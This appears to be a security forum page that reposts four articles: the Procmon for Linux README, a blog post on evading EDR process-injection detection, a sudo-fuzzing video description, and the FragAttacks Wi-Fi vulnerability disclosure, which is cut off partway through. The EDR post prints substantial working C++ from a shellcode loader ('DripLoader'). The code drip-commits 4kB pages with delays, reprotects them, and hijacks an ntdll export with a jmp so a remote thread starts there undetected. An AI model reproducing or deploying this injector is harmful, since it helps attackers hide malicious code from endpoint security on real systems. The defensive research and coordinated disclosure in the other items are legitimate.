    • Process Monitor for Linux (Preview)  Process Monitor (Procmon) is a Linux reimagining of the classic Procmon tool from the Sysinternals suite of tools for Windows. Procmon provides a convenient and efficient way for Linux developers to trace the syscall activity on the system. Installation & Usage Requirements OS: Ubuntu 18.04 lts cmake >= 3.14 (build-time only) libsqlite3-dev >= 3.22 (build-time only) Install Procmon Checkout our install instructions for distribution specific steps to install Procmon. Building Procmon from source 1. Install build dependencies sudo apt-get -y install bison build-essential flex git libedit-dev \ libllvm6.0 llvm-6.0-dev libclang-6.0-dev python zlib1g-dev libelf-dev 2. Build Procmon git clone https://github.com/Microsoft/Procmon-for-Linux cd Procmon-for-Linux mkdir build cd build cmake .. make Building Procmon Packages The distribution packages for Procmon for Linux are constructed utilizing cpack. To build a deb package of Procmon on Ubuntu simply run: cd build cpack .. Usage Usage: procmon [OPTIONS] OPTIONS -h/--help Prints this help screen -p/--pids Comma separated list of process ids to monitor -e/--events Comma separated list of system calls to monitor -c/--collect [FILEPATH] Option to start Procmon in a headless mode -f/--file FILEPATH Open a Procmon trace file Examples The following traces all processes and syscalls on the system sudo procmon The following traces processes with process id 10 and 20 sudo procmon -p 10,20 The following traces process 20 only syscalls read, write and openat sudo procmon -p 20 -e read,write,openat The following traces process 35 and opens Procmon in headless mode to output all captured events to file procmon.db sudo procmon -p 35 -c procmon.db The following opens a Procmon tracefile, procmon.db, within the Procmon TUI sudo procmon -f procmon.db Feedback Ask a question on StackOverflow (tag with ProcmonForLinux) Request a new feature on GitHub Vote for popular feature requests File a bug in GitHub Issues Contributing If you are interested in fixing issues and contributing directly to the code base, please see the document How to Contribute, which covers the following: How to build and run from source The development workflow, including debugging and running tests Coding Guidelines Submitting pull requests Please see also our Code of Conduct. License Copyright (c) Microsoft Corporation. All rights reserved. Licensed under the MIT License.   Sursa: https://github.com/Sysinternals/ProcMon-for-Linux/
    • Bypassing EDR real-time injection detection logic       This is not really about suppressing/bypassing event collection, and more on understanding EDR architecture design flaws, lazy detection logic and correlation to minimize chance of triggering alerts with events that are (at least partially) collected. Some great posts on bypassing EDR agent collection: Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR (outflank) A tale of EDR bypass methods (@s3cur3th1ssh1t) FireWalker: A New Approach to Generically Bypass User-Space EDR Hooking (mdsec) Hell's Gate (@smelly__vx, @am0nsec) Halo's Gate - twin sister of Hell's Gate (sektor7) Another method of bypassing ETW and Process Injection via ETW registration (@modexpblog) Data Only Attack: Neutralizing EtwTi Provider (@slaeryan, kernel mode)   Introduction In the previous post we discussed how solutions which use reliable, kernel-based sources for remote memory allocation events can use these to identify many of the in-the-wild injections with relative ease, regardless of the specific technique used, and without worrying that the event source is trivial to bypass from the usermode. Most notably Microsoft uses that ETW, though there are vendors who do it better. Today I wanted to share how easy it is to bypass any memory allocation-based logic. We will also bypass thread initialization alerting, which combined give us a technique undetectable by MDATP and many other EDRs out there, as of today. It is important to expose detection gaps like this, not only to force security vendors to improve defenses, but primarily to build awareness around inherent limitations of these solutions and the need for in-house security R&D programs, or at least use of well-engineered managed detection services for more complete coverage.   Check out my previous post on detecting process injection with kernel ETW.   T1055 vs EDR Let's first take a look at what independent evaluations can tell us about process injections, and if there is even anything to bypass.   It's definitely good to know the product you're using is not able to flag Meterpreter's migrate command and process hollowing procedures from a 5+ year old Carbanak malware available on GitHub, even with prior knowledge of what is going to be tested, and half a year to prepare if needed. Other than that value of the last evaluation in context of injections is very limited, and we are not getting the full picture of how much each vendor invests into researching TTPs relevant right now, and in the future, or how robust the detection capability and data sources really are.   https://ela.st/mitre-round3 While some EDRs were not able to flag on the elementary techniques, many improved detection capability to the point that today, it is not uncommon for process injection to be considered OPSEC-expensive by red teams. Experienced operators tend to tailor detection bypasses per-solution, and in some environments they choose to avoid injecting altogether, as the very limited set of APIs Windows exposes for memory and thread management are under close surveillance. We are going to talk about bypassing the mature solutions today - for the ones with T1055 misses here just use APC injection and you'll probably be fine. Let's first discuss all the detection opportunities for anomalous remote thread creation.   CRT anomalies The API getting most attention has to be kernel32!CreateRemoteThread, but we are really talking about ntdll!NtCreateThreadEx, or the kernel mode target intercepted through kernel callbacks.   https://github.com/elastic/detection-rules Here we have a basic detection for a specific Windows process - msbuild.exe creating a new thread in a remote process. Even though criticality of a potential true positive would be quite high, after testing the rule author decided it is only suitable for low severity (probably due to FP-rate), which likely degrades the rule to an IR label/enrichment in most environments. Such a simple detection rule is unlikely to be part of a mature EDR solution where customers expect to receive alerts for activities like this with high severity, while keeping noise down to allow their analysts to review and classify the important stuff.   https://github.com/FalconForceTeam/FalconFriday A more generic, custom MDATP thread creation rule based around the new FileProfile() enrichment function - detects extremely rare files creating threads in remote processes. Very useful to implement in-house, but still unlikely to be found in EDRs in such a simple form, as it would cause substantial amounts of false positives in certain environments, and could prove difficult to maintain. As an example, Defender logs most remote thread creations as labeled events, but low file prevalence is not good enough of an indicator to trigger alert, and there is more advanced logic in play - true for most decent EDRs.   CRT events logged by Defender   Understanding correlation By "detections" and "alerts" I do not just mean labeled activity which can be found somewhere in the platform, but rather independent pieces of logic able to signal threats with high enough fidelity to generate user-facing security incidents with no additional activity tagged on the endpoint. (I also assume the platform is not incredibly noisy, to the level of it being unusable) This is important to remember as EDRs use various kinds of correlation to link otherwise undetected activities to existing incidents initiated by high fidelity alerts, or generate them based on some risk score analysis often affectionately called "AI", making it difficult to judge whether some particular TTP would be detected in isolation. Some types of correlation can be very complex and difficult for adversaries to guess, but due to the high costs associated with preserving active context and using it in detection, time-based correlation plays a role in most. On-agent detections, activity and software inventories are often not implemented or limited in scope due to reverse engineering concerns or architecting difficulties. We will exploit this fact later on when building our shellcode injector by introducing delays in execution as one way to avoid detection. The concept is not new and is commonly used in network attacks where IDS solutions tend to detect based on thresholds.   For the same reason choosing your EDR vendor based on the numerical results of things like the Mitre evaluation and percentage of coverage - is not a good idea. Among other issues, the test rounds are executed in an unrealistically short time window of around 30 minutes for the whole attack kill chain, which means time correlation of labeled events from the host to a single alert is good enough to score 100% coverage.   High fidelity alerts So we know that even though the number of functions to monitor is limited, the volume of legitimate events poses significant challenges for high fidelity detection, and forces defenders to narrow down what constitutes "suspicious", resulting in heavy filtering or log&ignore of many collected events. For thread creation the most common constraint is thread starting process ≠ hosting process - so monitoring only remote thread creation, usually also limited to those with: thread start in image "unbacked" MEM_COMMIT-type segment the size of segment being larger than X and on scale this will still generate very significant amount of false positives, which may lead to further filtering, for example: thread location (target) only in Windows built-in executables only a subset of these thread initiator (source) only in risky executables unknown hashes low file prevalence risky paths (%userprofile%, %temp% etc.) not seen on the network/on the host memory page contains suspicious stuff Machine learning models are often employed to attempt solving this issue, and so on - these assumptions will differ for vendors, but the idea is to tame thread creation. The less mature solutions in fact often rely on thread creation hooking/callbacks as the only source of data for injection detection.   While it is true that for majority of injection techniques a new thread will be created in the target process at some point, the way in which it's created is often unexpected and makes monitoring infeasible, thus relying exclusively on ntdll!NtCreateThread(Ex) hooking/thread creation callbacks nowadays is an easily exploitable design flaw. SetThreadContext In case of process hollowing or thread hijacking our target thread has already been created legitimately by the Windows Loader or the target application locally, and thus there is nothing to detect upon. This is one of the reasons CobaltStrike execute-assembly uses SetThreadContext instead of CRT injection on the sacrificial process. Once we have the telemetry, on scale it's much easier to detect certain SetThreadContext anomalies, than CRT-injection, and today in many environments it generates high criticality alerts, rendering fork&run useless in stealthy offensive ops. QueueUserAPC Asynchronous Procedure Calls provide another avenue for avoiding thread creation. An APC can be queued for an existing thread, and executed once it enters an alertable state. In recent years userland hooking evasion is getting a lot of coverage, and Early Bird injection has popularized use of APCs for that purpose. The idea is to queue an APC in a newly spawned, suspended process, before the ntdll!LdrpInitializeProcess function had a chance to run. That way our scheduled routine is executed before the hooking DLLs are loaded into the target process. Once again this technique becomes easy to detect when we stop relying solely on hooking.   DripLoader   Allocating memory To bypass any memory allocation based logic we will only commit page granularity, or PageSizesized pages, which on Windows 10 with a modern processor is 4kB: this constant found in SYSTEM_INFO structure tells us the lowest possible size of a VM allocation since most legitimate remote VM operations work on a single, or a few bytes, 4kB is by far the most prevalent allocation size (>95%), making it extremely challenging to detect on   To accomplish this we need to deal with some inconveniences we need our shellcode in memory as a continuous byte sequence which means we cannot let kernel32!VirtualAllocEx choose base, as it might reserve memory at an address where the other allocations will not fit in Windows, any new VM allocation made with kernel32!VirtualAllocEx and similar is rounded up to AllocationGranularity which is another constant found in SYSTEM_INFO and is usually 64kB for example, if we allocate 4kB of MEM_COMMIT | MEM_RESERVE memory at 0x40000000, the whole 0x40010000 (64kB) region will be unavailable for new allocations   Steps we take pre-define a list of 64 bit base addresses and VirtualQueryEx the target process to find the first region able to fit our shellcode blob     const std::vector<LPVOID> VC_PREF_BASES{ (void*)0x00000000DDDD0000, (void*)0x0000000010000000, (void*)0x0000000021000000, (void*)0x0000000032000000, (void*)0x0000000043000000, (void*)0x0000000050000000, (void*)0x0000000041000000, (void*)0x0000000042000000, (void*)0x0000000040000000, (void*)0x0000000022000000 };   LPVOID GetSuitableBaseAddress(HANDLE hProc, DWORD szPage, DWORD szAllocGran, DWORD cVmResv) { MEMORY_BASIC_INFORMATION mbi; for (auto base : VC_PREF_BASES) { VirtualQueryEx( hProc, base, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ); if (MEM_FREE == mbi.State) { uint64_t i; for (i = 0; i < cVmResv; ++i) { LPVOID currentBase = (void*)((DWORD_PTR)base + (i * szAllocGran)); VirtualQueryEx( hProc, currentBase, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ); if (MEM_FREE != mbi.State) break; } if (i == cVmResv) { // found suitable base return base; } } } return nullptr; } reserve required number of full AllocationGranularity (64kB) sized regions, and then loop over those commiting 4kB pages to ensure page alignment     // MEM_RESERVE, NO_ACCESS, 64kB for (i = 1; i <= cVmResv; ++i) { // sleeps here ANtAVM( hProc, &currentVmBase, NULL, &szVmResv, MEM_RESERVE, PAGE_NOACCESS ); if (STATUS_SUCCESS == status) vcVmResv.push_back(currentVmBase); else return 4; currentVmBase = (LPVOID)((DWORD_PTR)currentVmBase + szVmResv); } // MEM_COMMIT, PAGE_READWRITE -> PAGE_EXECUTE_READ, 4kB for (i = 0; i < cVmResv; ++i) { for (cmm_i = 0; cmm_i < cVmCmm; ++cmm_i) { DWORD offset = (cmm_i * szVmCmm); currentVmBase = (LPVOID)((DWORD_PTR)vcVmResv[i] + offset); ANtAVM( hProc, &currentVmBase, NULL, &szVmCmm, MEM_COMMIT, PAGE_READWRITE );   // sleeps here   SIZE_T szWritten{ 0 }; ANtWVM( hProc, currentVmBase, &shellcode[offsetSc], szVmCmm, &szWritten ); offsetSc += szVmCmm;   // sleeps here ANtPVM( hProc, &currentVmBase, &szVmCmm, PAGE_EXECUTE_READ, &oldProt ); } } The pages are also written to and individually reprotected with each run to avoid large RegionSize of target memory page in properties of logged VirtualProtectEx events. (TiEtw provides this, and hooks can too).   Creating the thread Now that we have our shellcode in the remote process we need to initiate it's execution. To do this we will use the CreateThreadEx native API which is the ntdll target of CRT, and hence very commonly called by legitimate software. To bypass any detections we will: create the new thread from MEM_IMAGE base address moreover, we use a known-good module loaded by the Windows Loader, ntdll.dll the location will be patched with a far jmp to our shellcode base at the time of thread creation   Note that we do not need to run in a MEM_IMAGE segment, as we only care about logging of arguments in the TiEtw/Hook event. If our shellcode creates a new thread (which would happen for example when using sRDI beacon.dll), the locally created thread won't be tagged on by most EDRs, but it will no longer have ntdll as it's start address which could get it detected by basic Endpoint Protection, and will get it detected by Get-InjectedThread.   Steps we take figure out RVA of the function we will hijack     // ntdll.dll char jmpModName[]{ 'n','t','d','l','l','.','d','l','l','\0' }; // RtlpWow64CtxFromAmd64 char jmpFuncName[]{ 'R','t','l','p','W','o','w','6','4','C','t','x','F','r','o','m','A','m','d','6','4','\0' }; LPVOID PrepEntry(HANDLE hProc, LPVOID vm_base) { unsigned char* b = (unsigned char*)&vm_base; unsigned char jmpSc[7]{ 0xB8, b[0], b[1], b[2], b[3], 0xFF, 0xE0 }; // find the export EP offset HMODULE hJmpMod = LoadLibraryExA( jmpModName, NULL, DONT_RESOLVE_DLL_REFERENCES ); if (!hJmpMod) return nullptr; LPVOID lpDllExport = GetProcAddress(hJmpMod, jmpFuncName); DWORD offsetJmpFunc = (DWORD)lpDllExport - (DWORD)hJmpMod;   [...] } find base of remote ntdll and calculate AVA     [...] LPVOID lpRemFuncEP{ 0 }; HMODULE hMods[1024]; DWORD cbNeeded; char szModName[MAX_PATH];   if (EnumProcessModules(hProc, hMods, sizeof(hMods), &cbNeeded)) { int i; for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) { if (GetModuleFileNameExA(hProc, hMods[i], szModName, sizeof(szModName) / sizeof(char))) { if (strcmp(PathFindFileNameA(szModName), jmpModName)==0) { lpRemFuncEP = hMods[i]; break; } } } } lpRemFuncEP = (LPVOID)((DWORD_PTR)lpRemFuncEP + offsetJmpFunc);   [...] overwrite the function prologue with a jmp     [...] if (NULL == lpRemFuncEP) return nullptr; SIZE_T szWritten{ 0 }; WriteProcessMemory( hProc, lpDllExport, jmpSc, sizeof(jmpSc), &szWritten ); return lpDllExport; } CreateRemoteThread The full source and more explanations can be found on GitHub xinbailu/DripLoader Evasive shellcode loader for bypassing event-based injection detection (PoC) - xinbailu/DripLoader github.com       Result 1. The activity will generate events with the following characteristics     // reservations VM_ALLOC: REMOTE: 1, SIZE: 0x10000, TYPE: 0x2000, PROT: 0x01 (-) // commits VM_ALLOC: REMOTE: 1, SIZE: 0x1000, TYPE: 0x1000, PROT: 0x04 (rw)     VM_WRITE: REMOTE: 1, SIZE: 0x1000     THREAD_START: REMOTE: 1, SUSPENDED: 0, ACCMSK: 0xFFFF (full), PAGE_TYPE: 0x1000000 (img), LPTHREAD_START_ROUTINE: ntdll.RtlpWow64CtxFromAmd64+0x0 2. State of the target process (assuming shellcode does not create thread)       Defense recommendations Option #1: Monitor injection APIs yourself EDRs with custom rule creation (or hunting) capabilities can be used, but make sure to fully understand under what circumstances events are collected aggregations and least frequency analysis hunting queries can be used to reduce workloads for your team   Sursa: https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection
    • Let's investigate some issues we have fuzzing sudo with afl. And also explain how AFL works. After improving our fuzzing setup even more, we are finally read to start fuzzing sudo for real. Can we find the vulnerability now? https://liveoverflow.com/support Grab the files: https://github.com/LiveOverflow/pwnedit/ milek7's blog: https://milek7.pl/howlongsudofuzz/ Sudo Research Episode 02: 00:00 - Recap 00:39 - Fixing AFL Crash Using LLVM mode 03:32 - Testing the AFL Instrumented Sudo Binary 04:11 - How Fuzzing with AFL works! 06:44 - Can AFL find the crash? 08:06 - Detour: busybox and argv[0] 09:48 - How could we discover "sudoedit"? 10:47 - Can AFL find "sudoedit" through magic? 11:25 - Include argv[0] in the testcases 13:06 - Parallel Fuzzing Setup -=[ ❤️ Support ]=- → per Video: https://www.patreon.com/join/liveover... → per Month: https://www.youtube.com/channel/UClcE... -=[ 🐕 Social ]=- → Twitter: https://twitter.com/LiveOverflow/ → Website: https://liveoverflow.com/ → Subreddit: https://www.reddit.com/r/LiveOverflow/ → Facebook: https://www.facebook.com/LiveOverflow/
    • INTRODUCTION 11 May 2021 — This website presents FragAttacks (fragmentation and aggregation attacks) which is a collection of new security vulnerabilities that affect Wi-Fi devices. An adversary that is within radio range of a victim can abuse these vulnerabilities to steal user information or attack devices. Three of the discovered vulnerabilities are design flaws in the Wi-Fi standard and therefore affect most devices. On top of this, several other vulnerabilities were discovered that are caused by widespread programming mistakes in Wi-Fi products. Experiments indicate that every Wi-Fi product is affected by at least one vulnerability and that most products are affected by several vulnerabilities. The discovered vulnerabilities affect all modern security protocols of Wi-Fi, including the latest WPA3 specification. Even the original security protocol of Wi-Fi, called WEP, is affected. This means that several of the newly discovered design flaws have been part of Wi-Fi since its release in 1997! Fortunately, the design flaws are hard to abuse because doing so requires user interaction or is only possible when using uncommon network settings. As a result, in practice the biggest concern are the programming mistakes in Wi-Fi products since several of them are trivial to exploit. The discovery of these vulnerabilities comes as a surprise, because the security of Wi-Fi has in fact significantly improved over the past years. For instance, previously we discovered the KRACK attacks, the defenses against KRACK were proven secure, and the latest WPA3 security specification has improved. Unfortunately, a feature that could have prevented one of the newly discovered design flaws was not adopted in practice, and the other two design flaws are present in a feature of Wi-Fi that was previously not widely studied. This shows it stays important to analyze even the most well-known security protocols (if you want to help, we are hiring). Additionally, it shows that it's essential to regularly test Wi-Fi products for security vulnerabilities, which can for instance be done when certifying them. To protect users, security updates were prepared during a 9-month-long coordinated disclosure that was supervised by the Wi-Fi Alliance and ICASI. If updates for your device are not yet available, you can mitigate some attacks (but not all) by assuring that websites use HTTPS and by assuring that your devices received all other available updates. DEMO The following video shows three examples of how an adversary can abuse the vulnerabilities. First, the aggregation design flaw is abused to intercept sensitive information (e.g. the victim's username and password). Second, it's shown how an adversary can exploit insecure internet-of-things devices by remotely turning on and off a smart power socket. Finally, it's demonstrated how the vulnerabilities can be abused as a stepping stone to launch advanced attacks. In particular, the video shows how an adversary can take over an outdated Windows 7 machine inside a local network. As the demo illustrates, the Wi-Fi flaws can be abused in two ways. First, under the right conditions they can be abused to steal sensitive data. Second, an adversary can abuse the Wi-Fi flaws to attack devices in someone's home network. The biggest risk in practice is likely the ability to abuse the discovered flaws to attack devices in someone's home network. For instance, many smart home and internet-of-things devices are rarely updated, and Wi-Fi security is the last line of defense that prevents someone from attacking these devices. Unfortunately, due to the discover vulnerabilities, this last line of defense can now be bypassed. In the demo above, this is illustrated by remotely controlling a smart power plug and by taking over an outdated Windows 7 machine. The Wi-Fi flaws can also be abused to exfiltrate transmitted data. The demo shows how this can be abused to learn the username and password of the victim when they use the NYU website. However, when a website is configured with HSTS to always use HTTPS as an extra layer of security, which nowadays close to 20% of websites are, the transmitted data cannot be stolen. Additionally, several browsers now warn the user when HTTPS is not being used. Finally, although not always perfect, recent mobile apps by default use HTTPS and therefore also use this extra protection. DETAILS Plaintext injection vulnerabilities Several implementation flaws can be abused to easily inject frames into a protected Wi-Fi network. In particular, an adversary can often inject an unencrypted Wi-Fi frame by carefully constructing this frame. This can for instance be abused to intercept a client's traffic by tricking the client into using a malicious DNS server as shown in the demo (the intercepted traffic may have another layer of protection though). Against routers this can also be abused to bypass the NAT/firewall, allowing the adversary to subsequently attack devices in the local Wi-Fi network (e.g. attacking an outdated Windows 7 machine as shown in the demo). How can the adversary construct unencrypted Wi-Fi frames so they are accepted by a vulnerable device? First, certain Wi-Fi devices accept any unencrypted frame even when connected to a protected Wi-Fi network. This means the attacker doesn't have to do anything special! Two of out of four tested home routers were affected by this vulnerability, several internet-of-things devices were affected, and some smartphones were affected. Additionally, many Wi-Fi dongles on Windows will wrongly accept plaintext frames when they are split into several (plaintext) fragments. Additionally, certain devices accept plaintext aggregated frames that look like handshake messages. An adversary can exploit this by sending an aggregated frame whose starts resembles a handshake message and whose second subframe contains the packet that the adversary wants to inject. A vulnerable device will first interpret this frame as a handshake message, but will subsequently process it as an aggregated frame. In a sense, one part of the code will think the frame is a handshake message and will accept it even though it's not encrypted. Another part of the code will instead see it as an aggregated frame and will process the packet that the adversary wants to inject. A plaintext aggregated frame that also looks like a handshake message ☺ Finally, several devices process broadcasted fragments as normal unfragmented frames. More problematic, some devices accept broadcast fragments even when sent unencrypted. An attacker can abuse this to inject packets by encapsulating them in the second fragment of a plaintext broadcast frame. Design flaw: aggregation attack The first design flaw is in the frame aggregation feature of Wi-Fi. This feature increases the speed and throughput of a network by combining small frames into a larger aggregated frame. To implement this feature, the header of each frame contains a flag that indicates whether the (encrypted) transported data contains a single or aggregated frame. This is illustrated in the following figure:   Unfortunately, this "is aggregated" flag is not authenticated and can be modified by an adversary, meaning a victim can be tricked into processing the encrypted transported data in an unintended manner. An adversary can abuse this to inject arbitrary network packets by tricking the victim into connecting to their server and then setting the "is aggregated" flag of carefully selected packets. Practically all tested devices were vulnerable to this attack. The ability to inject packets can in turn be abused to intercept a victim’s traffic by making it use a malicious DNS server (see the demo). This design flaw can be fixed by authenticating the "is aggregated" flag. The Wi-Fi standard already contains a feature to authenticate this flag, namely requiring SPP A-MSDU frames, but this defense is not backwards-compatible and not supported in practice. Attacks can also be mitigated using an ad-hoc fix, though new attacks may remain possible. Design flaw: mixed key attack The second design flaw is in the frame fragmentation feature of Wi-Fi. This feature increases the reliability of a connection by splitting large frames into smaller fragments. When doing this, every fragment that belongs to the same frame is encrypted using the same key. However, receivers are not required to check this and will reassemble fragments that were decrypted using different keys. Under rare conditions this can be abused to exfiltrate data. This is accomplished by mixing fragments that are encrypted under different keys, as illustrated in the following figure:   In the above figure, the first fragment is decrypted using a different key than the second fragment. Nevertheless, the victim will reassemble both fragments. In practice this allows an adversary to exfiltrate selected client data. This design flaw can be fixed in a backwards-compatible manner by only reassembling fragments that were decrypted using the same key. Because the attack is only possible under rare conditions it is considered a theoretical attack. Design flaw: fragment cache attack The third design flaw is also in Wi-Fi's frame fragmentation feature. The problem is that, when a client disconnects from the network, the Wi-Fi device is not required to remove non-reassembled fragments from memory. This can be abused against hotspot-like networks such as eduroam and govroam and against enterprise network where users distrust each other. In those cases, selected data sent by the victim can be exfiltrated. This is achieved by injecting a malicious fragment in the memory (i.e. fragment cache) of the access point. When the victim then connects to the access point and sends a fragmented frame, selected fragments will be combined (i.e. reassembled) with the injected fragment of the adversary. This is illustrated in the following figure:   In the above figure, the adversary injects the first fragment into the fragment cache of the access point. After the adversary disconnects the fragment stays in the fragment cache and will be reassembled with a fragment of the victim. If the victim sends fragmented frames, which appears uncommon in practice, this can be abused to exfiltrate data. This design flaw can be fixed in a backwards-compatible manner by removing fragments from memory whenever disconnecting or (re)connecting to a network. Other implementation vulnerabilities Some routers will forward handshake frames to another client even when the sender hasn't authenticated yet. This vulnerability allows an adversary to perform the aggregation attack, and inject arbitrary frames, without user interaction. Another extremely common implementation flaw is that receivers do not check whether all fragments belong to the same frame, meaning an adversary can trivially forge frames by mixing the fragments of two different frames. Additionally, against several implementations it is possible to mix encrypted and plaintext fragments. Finally, some devices don't support fragmentation or aggregation, but are still vulnerable to attacks because they process fragmented frames as full frames. Under the right circumstances this can be abused to inject packets. Assigned CVE identifiers An overview of all assigned Common Vulnerabilities and Exposures (CVE) identifiers can be found on GitHub. At the time of writing, ICASI has a succinct overview containing references to additional info from vendors (the CVE links below might only become active after a few days). Summarized, the design flaws were assigned the following CVEs: CVE-2020-24588: aggregation attack (accepting non-SPP A-MSDU frames). CVE-2020-24587: mixed key attack (reassembling fragments encrypted under different keys). CVE-2020-24586: fragment cache attack (not clearing fragments from memory when (re)connecting to a network). Implementation vulnerabilities that allow the trivial injection of plaintext frames in a protected Wi-Fi network are assigned the following CVEs: CVE-2020-26145: Accepting plaintext broadcast fragments as full frames (in an encrypted network). CVE-2020-26144: Accepting plaintext A-MSDU frames that start with an RFC1042 header with EtherType EAPOL (in an encrypted network). CVE-2020-26140: Accepting plaintext data frames in a protected network. CVE-2020-26143: Accepting fragmented plaintext data frames in a protected network. Other implementation flaws are assigned the following CVEs: CVE-2020-26139: Forwarding EAPOL frames even though the sender is not yet authenticated (should only affect APs). CVE-2020-26146: Reassembling encrypted fragments with non-consecutive packet numbers. CVE-2020-26147: Reassembling mixed encrypted/plaintext fragments. CVE-2020-26142: Processing fragmented frames as full frames. CVE-2020-26141: Not verifying the TKIP MIC of fragmented frames. For each implementation vulnerability we listed the reference CVE identifier. Although each affected codebase normally receives a unique CVE, the consensus was that using the same CVE across different codebases would make communication easier. For instance, by tying one CVE to each vulnerability, a customer can now ask a vendor whether their product is affected by a specific CVE. Using a unique CVE for each codebase would complicate such questions and cause confusion. PAPER Our paper behind the attack is titled Fragment and Forge: Breaking Wi-Fi Through Frame Aggregation and Fragmentation and will be presented at USENIX Security. You can use the following bibtex entry to cite our paper: @inproceedings{vanhoef-usenix2021-fragattacks, author = {Mathy Vanhoef}, title = {Fragment and Forge: Breaking {Wi-Fi} Through Frame Aggregation and Fragmentation}, booktitle = {Proceedings of the 30th {USENIX} Security Symposium}, year = {2021}, month = {August}, publisher = {{USENIX} Association} } USENIX Security Presentation The pre-recorded presentation made for USENIX Security can already be viewed online. Note that the target audience of this presentation are academics and IT professionals: Extra Documents An overview of all attacks and their preconditions. It also contains two extra examples on how an adversary can: (1) abuse packet injection vulnerabilities to make a victim use a malicious DNS; and (2) how packet injection can be abused to bypass the NAT/firewall of a router. Slides illustrating how the aggregation attack (CVE-2020-24588) works in practice. Performing this attack requires tricking the victim into connecting to the adversary's server. This can be done by making the victim download an image from the adversary’s server. Note that JavaScript code execution on the victim is not required. Detailed slides giving an in-depth explanation of each discovered vulnerability. Overview slides illustrating only the root cause of each discovered vulnerability. TOOLS A tool was made that can test if clients or APs are affected by the discovered design and implementations flaws. It can test home networks and enterprise networks where authentication is done using, e.g., PEAP-MSCHAPv2 or EAP-TLS. The tool supports over 45 test cases and requires modified drivers in order to reliable test for the discovered vulnerabilities. Without modified drivers, one may wrongly conclude that a device is not affected while in reality it is. A live USB image is also available. This image contains pre-installed modified drivers, modified firmware for certain Atheros USB dongles, and a pre-configured Python environment for the tool. Using a live image is useful when you cannot install the modified drivers natively (and using a virtual machine can be unreliable for some network cards). Apart from a tool to test if a device is vulnerable I also made proof-of-concepts to exploit weaknesses. Because not all devices currently have received updates these attacks scripts will be released at a later point if deemed useful. Q&A How can I contact you? Are you looking for PhD students? Can I reuse the images on this website? Why did nobody notice the aggregation design flaw before? Why was the defense against the aggregation attack (CVE-2020-24588) not adopted? My device isn't patched yet, what can I do? Why is Wi-Fi security important? We already have HTTPS. Will using a VPN prevent attacks? How did you discover this? How sure are you that all Wi-Fi devices are affected? Does this mean every Wi-Fi device is trivial to attack? How many networks use fragmentation? How many networks periodically refresh the pairwise session key? Isn't is irresponsible to release tools to perform the attacks? Where are all the attack tools? Do you have example network captures of the vulnerabilities? How long will you maintain the driver patches needed to run the test scripts? Why are so many implementations vulnerable to be non-consecutive PN attack? Why are so many implementations vulnerable to the mixed plaintext/encrypted fragment attack? Can an implementation be vulnerable to a cache attack without being vulnerable to a mixed key attack? Can the mixed-key attack be prevented in a backward-compatible manner? Is the old WPA-TKIP protocol also affected by the design flaws? Is the ancient WEP protocol also affected by the design flaws? Can fragmentation attacks be preventing by disallowing small delays between fragments? Are patches for Linux available? Did others also discover the plaintext injection issue (CVE-2020-26140)? Why do you use the same CVE for implementation issues in multiple different codebases? Why was the embargo so long? How did you monitor for leaks during the embargo? Are these vulnerabilities being exploited in practice? Why did Microsoft already fix certain vulnerabilities on March 9, 2021? Is the "Treating fragments as full frames" flaw (CVE-2020-26142) also applicable to APs? Can APs be vulnerable to attacks that send broadcast frames? Why are some of the tested devices so old? How did you make macOS switch to the malicious DNS server in the demonstration? Isn't nyu.edu using HSTS to prevent these kind of attacks? How do I reproduce the BlueKeep attack shown in the demonstration? How can I contact you? You can reach Mathy Vanhoef on twitter at @vanhoefm or by emailing mathy.vanhoef@nyu.edu. Are you looking for PhD students? Yes! Mathy Vanhoef will be starting as a professor at KU Leuven University (Belgium) later this year and is looking for a PhD student. The precise topic you want to work on can be discussed. If you're a master student at KU Leuven you can also contact me to discuss a Master's thesis topic. Note that the DistriNet group at KU Leuven is also recruiting in security-related research fields. If you want to do network research at New York University Abu Dhabi in the Cyber Security & Privacy (CSP) team where the FragAttacks research was carried out, you can contact Christina Pöpper. Can I reuse the images on this website? Yes, you can use the logo, illustrations of the aggregation design flaw (mobile version), illustrations of the mixed key design flaw (mobile version), and illustrations of the fragment cache design flaw (mobile version). Thanks goes to Darlee Urbiztondo for designing the logo. You can find more of her awesome graphic works here. Why did nobody notice the aggregation design flaw before? When the 802.11n amendment was being written in 2007, which introduced supported for aggregated (A-MSDU) frames, several IEEE members noticed that the "is aggregated" flag was not authenticated. Unfortunately, many products already implemented a draft of the 802.11n amendment, meaning this problem had to be addressed in a backwards-compatible manner. The decision was made that devices would advertise whether they are capable of authenticating the "is aggregated" flag. Only when devices implement and advertise this capability is the "is aggregated" flag protected. Unfortunately, in 2020 not a single tested device supported this capability, likely because it was considered hard to exploit. To quote a remark made back in 2007: "While it is hard to see how this can be exploited, it is clearly a flaw that is capable of being fixed." In other words, people did notice this vulnerability and a defense was standardized, but in practice the defense was never adopted. This is a good example that security defenses must be adopted before attacks become practical. Why was the defense against the aggregation attack (CVE-2020-24588) not adopted? Likely because it was only considered a theoretic vulnerability when the defense was created. To quote a remark made back in 2007: "While it is hard to see how this can be exploited, it is clearly a flaw that is capable of being fixed." Additionally, the threat model that was used in the aggregation attack, were the victim is induced into connecting to the adversary's server, only become widely accepted in 2011 after the disclosure of the BEAST attack. In other words, the threat model was not yet widely known back in 2007 when the IEEE added the optional feature that would have prevented the attack. And even after this threat model became more common, the resulting attack isn't obvious. My device isn't patched yet, what can I do? First, it's always good to remember general security best practices: update your devices, don't reuse your passwords, make sure you have backups of important data, don't visit shady websites, and so on.   In regards to the discovered Wi-Fi vulnerabilities, you can mitigate attacks that exfiltrate sensitive data by double-checking that websites you are visiting use HTTPS. Even better, you can install the HTTPS Everywhere plugin. This plugin forces the usage of HTTPS on websites that are known to support it. To mitigate attacks where your router's NAT/firewall is bypassed and devices are directly attacked, you must assure that all your devices are updated. Unfortunately, not all products regularly receive updates, in particular smart or internet-of-things devices, in which case it is difficult (if not impossible) to properly secure them. More technically, the impact of attacks can also be reduced by manually configuring your DNS server so that it cannot be poisoned. Specific to your Wi-Fi configuration, you can mitigate attacks (but not fully prevent them) by disabling fragmentation, disabling pairwise rekeys, and disabling dynamic fragmentation in Wi-Fi 6 (802.11ax) devices. Why is Wi-Fi security important? We already have HTTPS. These days a lot of websites and apps use HTTPS to encrypt data. When using HTTPS, an adversary cannot see the data you are 